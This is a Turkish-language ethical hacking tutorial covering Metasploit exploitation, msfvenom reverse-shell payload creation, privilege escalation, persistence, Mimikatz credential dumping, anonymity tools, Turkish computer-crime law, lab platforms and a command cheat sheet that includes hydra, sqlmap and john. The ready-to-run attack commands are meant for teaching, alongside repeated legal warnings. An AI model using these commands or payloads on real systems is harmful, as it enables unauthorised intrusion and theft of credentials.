Bir zafiyet bulduktan sonra onu kullanarak sisteme erişim sağlamaya **exploitation** denir. Bu alandaki en güçlü ve en bilinen araç **Metasploit Framework**'tür.

Temel kavramlar

Terim	Anlamı
Exploit	Zafiyeti kullanan kod/teknik
Payload	Exploit başarılı olunca çalışan yük (örn. shell açma)
Meterpreter	Gelişmiş, bellekte çalışan Metasploit payload'ı
Reverse shell	Hedefin saldırgana geri bağlantı kurduğu bağlantı
Bind shell	Hedefte bir port açılıp saldırganın bağlandığı yöntem
LHOST / RHOST	Saldırganın (Local) / hedefin (Remote) IP'si

Metasploit (msfconsole) temel akışı

```
msfconsole
msfconsole                      # Metasploit'i baslat
search vsftpd                   # Exploit ara
use exploit/unix/ftp/vsftpd_234_backdoor
show options                    # Gerekli ayarlari gör
set RHOSTS 192.168.1.10         # Hedefi belirle
set LHOST 192.168.1.5           # Kendi IP'ni belirle
exploit                         # Saldiriyi baslat
```

> **i NOT** **Meterpreter oturumunda**
> Erişim sağlandığında `sysinfo`, `getuid`, `shell`, `download`, `upload`, `screenshot` gibi komutlarla hedefi yönetebilirsin. `background` ile oturumu arka plana alırsın.

msfvenom ile payload üretme

```
msfvenom
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 \
  LPORT=4444 -f exe -o yuk.exe
```

Üretilen payload bir dinleyici (handler) ile eşleştirilir; hedef çalıştırınca geri bağlantı gelir. Bu, yalnızca kendi lab makinelerinde denenmelidir.

§ YASAL / ETİK Bu bölüm sınırın net olduğu yerdir

Exploitation, izinsiz yapıldığında doğrudan 'bilişim sistemine izinsiz girme' suçudur. Metasploit'i yalnızca **Metasploitable, DVWA, HackTheBox** gibi legal lab hedeflerinde kullan.

BÖLÜM 16

Post-Exploitation ve Yetki Yükseltme

Sisteme sıradan bir kullanıcı olarak girmek genelde yeterli değildir. **Post-exploitation**, erişim sonrası yapılanları kapsar: yetki yükseltme, bilgi toplama, yayılma ve kalıcılık.

Yetki yükseltme (Privilege Escalation)

Amaç, normal kullanıcıdan **root/Administrator** yetkisine çıkmaktır. İki yön vardır:

- **Yatay (horizontal):** Aynı yetki seviyesinde başka bir kullanıcıya geçme.
- **Dikey (vertical):** Daha yüksek yetkiye (root/admin) çıkma.

Yöntem	Açıklama
Kernel exploit	İşletim sistemi çekirdeğindeki açığı kullanma
Yanlış yapılandırma	SUID bit, zayıf dosya izinleri, sudo kuralları
Zayıf servisler	Yüksek yetkiyle çalışan güvensiz servisler
Kayıtlı parolalar	Dosyalarda/scriptlerde açıkta duran parolalar

```
Privilege Escalation
# Linux'ta yetki yükseltme ipuçlarını otomatik tarama:
./linpeas.sh
sudo -l                  # Hangi komutları sudo ile calistirabilirim?
find / -perm -4000 2>/dev/null   # SUID bit'li dosyalar
```

Kalıcılık (Persistence) ve bilgi toplama

- **Kalıcılık:** Sistem yeniden başlasa bile erişimi koruma (yeni kullanıcı, zamanlanmış görev, servis).
- **Kimlik bilgisi toplama:** Windows'ta **Mimikatz** ile bellekteki parolalar/hash'ler çıkarılır.
- **Pivoting:** Ele geçirilen makineyi, ağdaki diğer sistemlere ulaşmak için köprü olarak kullanma.

> **i NOT** **Pentest ile gerçek saldırı farkı**
> Meşru testte kalıcılık ve yayılma **kapsam (scope) dahilinde** ve müşteriyle anlaşıldığı ölçüde yapılır; her adım raporlanır. Kapsam dışına çıkmak sözleşme ihlali ve suçtur.

BÖLÜM 17

Anonimlik, İz Yönetimi ve OPSEC

Güvenlik testlerinde ve araştırmada kimliğini ve kaynağını koruma, ayrıca gereksiz iz bırakmama önemlidir. Bu konuların meşru kullanımı; araştırmacı güvenliği, test gerçekçiliği ve gizliliktir.

Temel araçlar ve kavramlar

Araç/Kavram	İş
Tor	Trafiği birkaç düğümden geçirerek kaynağı gizler
Proxychains	Komutları proxy/Tor üzerinden çalıştırır
VPN	Trafiği şifreli tünelden geçirir, IP'yi değiştirir
MAC değiştirme	`macchanger` ile ağ kartı kimliğini maskeleme
Whonix / Tails	Gizlilik odaklı izole işletim ortamları

Anonimlik

```
proxychains nmap -sT -Pn hedef    # Taramayi proxy zincirinden geçir
sudo macchanger -r eth0           # Rastgele MAC adresi ata
```

> ⚠ **UYARI** **Anonimlik mutlak değildir**
> Hiçbir araç %100 gizlilik sağlamaz. Yanlış yapılandırma, DNS sızıntısı veya dikkatsizlik kimliğini açık edebilir. Daha da önemlisi: **anonimlik, izinsiz eylemi meşru yapmaz.**

OPSEC — operasyonel güvenlik

OPSEC, bir işlem sırasında kendini ve bilgiyi koruma disiplinidir: test makinelerini ayrı tutmak, kimlik bilgilerini sızdırmamak, log ve çıktıları güvenli saklamak, gerçek hedef ile lab ortamını asla karıştırmamak. İyi bir profesyonel hem etkili hem temiz çalışır.

BÖLÜM 18

Yasal Çerçeve ve Etik Kurallar

§ YASAL / ETİK En önemli bölüm bu

Bu rehberdeki her tekniği öğrenmenin tek meşru amacı sistemleri **korumak** ve kendini **izinli** biçimde geliştirmektir. İzinsiz test, Türkiye dahil çoğu ülkede ciddi bir suçtur.

Bilmen gereken yasal gerçekler

- **İzin şart:** Bir sistemi test etmek için sahibinden **yazılı izin** almak zorunludur.
- **Türkiye'de:** TCK 243–245. maddeler bilişim sistemlerine izinsiz girme, veriyi engelleme/bozma ve banka/kredi kartı suçlarını düzenler; hapis cezası öngörülür.
- **'Sadece baktım' savunması yoktur:** İzinsiz tarama bile birçok yerde suç sayılabilir.
- **Kapsam (scope):** İzinli testte bile yalnızca sözleşmede yazan hedeflere dokunulur.

Etik hacker'ın ilkeleri

1. Yalnızca **açık izinle** test yap; iznin sınırlarını asla aşma.
2. Bulduğun zafiyetleri **sorumlu biçimde** ilgili tarafa bildir (responsible disclosure).
3. Eriştiğin veriyi **gizli tut**, kopyalama, sızdırma, kötüye kullanma.
4. Verdiğin zararı en aza indir; test ortamını eski haline getir.
5. Her şeyi **belgele ve raporla**; şeffaf ol.

Yasal öğrenme ortamları

Tüm bu teknikleri **tamamen yasal** biçimde öğrenebileceğin platformlar vardır (Bölüm 19). Buralarda sağlanan hedefler bilerek savunmasız bırakılmıştır ve saldırman için tasarlanmıştır. Gerçek sistemler yerine her zaman bunları kullan.

BÖLÜM 19

Pratik Yapma: Lab Ortamları ve Yol Haritası

Siber güvenlik okuyarak değil **yaparak** öğrenilir. İşte tamamen yasal pratik ortamları.

Kendi lab'ini kurma

- **Saldırgan makine:** Kali Linux (sanal makine).
- **Hedef makineler:** Metasploitable 2/3, OWASP Broken Web Apps, Windows deneme sürümleri.
- **Web hedefleri:** DVWA, OWASP Juice Shop, bWAPP (yerel kurulabilir, savunmasız uygulamalar).
- **Ağ ayarı:** Sanal makineleri 'Host-only' veya 'Internal Network' moduna al; dış dünyaya sızıntı olmasın.

> ✓ **İPUCU** **İzole ağ şart**
> Hedef lab makinelerini internete açık bırakma. Sanal makine ağını 'Host-only' yaparsan, saldırıların yalnızca kendi lab'inde kalır; hem güvenli hem yasal olur.

Çevrimiçi pratik platformları

Platform	Ne sunar?	Seviye
TryHackMe	Rehberli, adım adım odalar (yeni başlayan dostu)	Başlangıç ✓
Hack The Box	Gerçekçi makineler, CTF, akademi	Orta–İleri
OverTheWire	Terminal/Linux temelli oyunlar (Bandit)	Başlangıç ✓
PortSwigger Academy	Web güvenliği (Burp üreticisinden, ücretsiz)	Her seviye
VulnHub	İndirilip kurulan savunmasız makineler	Orta
PentesterLab	Web zafiyetleri üzerine alıştırmalar	Orta

Önerilen öğrenme yol haritası

1. **Ay 1–2:** Linux + terminal + ağ temelleri (bu rehberin 4–8. bölümleri). OverTheWire Bandit'i bitir.
2. **Ay 2–3:** Nmap ve bilgi toplamada ustalaş. TryHackMe 'Pre Security' ve 'Complete Beginner' yollarını yap.
3. **Ay 3–5:** Web güvenliği (OWASP Top 10, Burp, sqlmap). PortSwigger Academy labları.
4. **Ay 5–7:** Exploitation + Metasploit + yetki yükseltme. Metasploitable ve kolay HTB makineleri.

5. **Ay 7+:** Uzmanlaş (web, ağ, kablosuz, red team). Rapor yazmayı ve metodolojiyi oturt.

> ✓ **İPUCU** **Not tut ve yaz**
> Her çözdüğün makine için 'writeup' (çözüm notu) yaz. Bu hem öğrenmeni pekiştirir hem de ileride iş görüşmelerinde portföy olur. CherryTree/Obsidian gibi araçlar bunun için idealdir.

BÖLÜM 20

Kaynaklar, Sertifikalar ve Komut Kılavuzu

Resmi ve ücretsiz kaynaklar

- **Kali resmi dökümanları:** kali.org/docs — kurulum, araçlar, sorun giderme.
- **Kali Linux Revealed (ücretsiz kitap):** kali.org/books — resmi başlangıç kitabı.
- **OWASP:** owasp.org — web güvenliği standartları ve Top 10.
- **HackTricks (book.hacktricks.xyz):** pentest teknikleri ansiklopedisi.
- **Nmap kitabı:** nmap.org/book — tarama konusunda en kapsamlı kaynak.

Sertifikalar (kariyer için)

Sertifika	Açıklama	Seviye
CompTIA Security+	Geniş güvenlik temeli, giriş seviyesi	Başlangıç
eJPT	Uygulamalı giriş seviyesi pentest	Başlangıç
PNPT	Gerçekçi, raporlu pentest sınavı	Orta
OSCP	Sektörün altın standardı, 24 saat uygulama	İleri
CEH	Teorik geniş kapsam (çoktan seçmeli)	Orta

En çok kullanılan komutların hızlı kılavuzu

Komut	İş
sudo apt update && sudo apt full-upgrade	Sistemi güncelle
ip a / ss -tulpn	IP ve açık portları gör
nmap -sV -sC -p- hedef	Kapsamlı port/servis taraması
nikto -h http://hedef	Web sunucu zafiyet taraması
gobuster dir -u URL -w liste	Gizli dizin keşfi
sqlmap -u 'URL?id=1' --dbs	SQL Injection testi
hydra -l user -P liste ssh://hedef	SSH parola saldırısı
john --wordlist=rockyou.txt hash	Hash kırma
msfconsole	Metasploit'i başlat
searchsploit arama	Hazır exploit ara

Son söz

Kali Linux güçlü bir araçtır; gücü, onu kullanan kişinin **bilgisi ve etiğiyle** anlam kazanır. Buradaki her tekniği bir sistemi **kırmak** için değil, **nasıl korunacağını anlamak** için öğren. Sabırlı ol, çok pratik yap, not tut ve her zaman yasal sınırlar içinde kal.

> "İyi bir güvenlikçi olmanın yolu, meraktan ve durmadan öğrenmekten geçer. Başarılar!"

Bu rehber eğitim amaçlıdır. Tüm teknikler yalnızca izinli ve yasal ortamlarda uygulanmalıdır.